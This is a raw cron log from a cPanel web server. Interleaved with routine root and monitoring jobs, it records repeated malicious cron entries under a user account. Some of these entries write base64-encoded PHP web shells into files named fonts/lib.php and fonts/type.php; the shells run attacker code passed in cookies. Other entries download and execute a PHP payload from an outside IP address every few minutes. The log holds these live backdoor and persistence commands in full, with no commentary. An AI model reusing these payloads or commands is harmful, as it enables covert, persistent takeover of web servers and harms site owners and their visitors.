Sep  6 10:38:01 ip-184-168-122-23 CROND[25084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:38:01 ip-184-168-122-23 CROND[25086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:38:01 ip-184-168-122-23 CROND[25085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:39:01 ip-184-168-122-23 CROND[25256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:39:01 ip-184-168-122-23 CROND[25259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:39:01 ip-184-168-122-23 CROND[25257]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 10:39:01 ip-184-168-122-23 CROND[25258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:39:01 ip-184-168-122-23 CROND[25260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:40:01 ip-184-168-122-23 CROND[25351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:40:01 ip-184-168-122-23 CROND[25353]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:40:01 ip-184-168-122-23 CROND[25355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:40:01 ip-184-168-122-23 CROND[25358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:40:01 ip-184-168-122-23 CROND[25356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:40:01 ip-184-168-122-23 CROND[25354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:40:01 ip-184-168-122-23 CROND[25360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:40:01 ip-184-168-122-23 CROND[25361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:41:02 ip-184-168-122-23 CROND[25450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:41:02 ip-184-168-122-23 CROND[25452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:41:02 ip-184-168-122-23 CROND[25455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:41:02 ip-184-168-122-23 CROND[25459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:42:01 ip-184-168-122-23 CROND[25551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:42:01 ip-184-168-122-23 CROND[25553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:42:01 ip-184-168-122-23 CROND[25554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:42:01 ip-184-168-122-23 CROND[25555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:42:01 ip-184-168-122-23 CROND[25556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:43:02 ip-184-168-122-23 CROND[25650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:43:02 ip-184-168-122-23 CROND[25651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:43:02 ip-184-168-122-23 CROND[25652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:43:02 ip-184-168-122-23 CROND[25653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:44:01 ip-184-168-122-23 CROND[25826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:44:01 ip-184-168-122-23 CROND[25827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:44:01 ip-184-168-122-23 CROND[25828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:44:01 ip-184-168-122-23 CROND[25833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:44:01 ip-184-168-122-23 CROND[25834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:45:01 ip-184-168-122-23 CROND[25934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:45:02 ip-184-168-122-23 CROND[25938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:45:02 ip-184-168-122-23 CROND[25941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:45:02 ip-184-168-122-23 CROND[25944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:45:02 ip-184-168-122-23 CROND[25945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:45:02 ip-184-168-122-23 CROND[25943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:46:02 ip-184-168-122-23 CROND[26070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:46:02 ip-184-168-122-23 CROND[26074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:46:02 ip-184-168-122-23 CROND[26072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:46:02 ip-184-168-122-23 CROND[26075]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 10:46:02 ip-184-168-122-23 CROND[26073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:46:02 ip-184-168-122-23 CROND[26076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:46:02 ip-184-168-122-23 CROND[26077]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 10:47:01 ip-184-168-122-23 CROND[26196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:47:01 ip-184-168-122-23 CROND[26197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:47:01 ip-184-168-122-23 CROND[26199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:47:01 ip-184-168-122-23 CROND[26198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:48:01 ip-184-168-122-23 CROND[26280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:48:01 ip-184-168-122-23 CROND[26282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:48:01 ip-184-168-122-23 CROND[26284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:48:01 ip-184-168-122-23 CROND[26283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:48:01 ip-184-168-122-23 CROND[26285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:49:01 ip-184-168-122-23 CROND[26664]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 10:49:01 ip-184-168-122-23 CROND[26665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:49:01 ip-184-168-122-23 CROND[26666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:49:01 ip-184-168-122-23 CROND[26668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:49:01 ip-184-168-122-23 CROND[26667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:50:01 ip-184-168-122-23 CROND[26957]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 10:50:01 ip-184-168-122-23 CROND[26959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
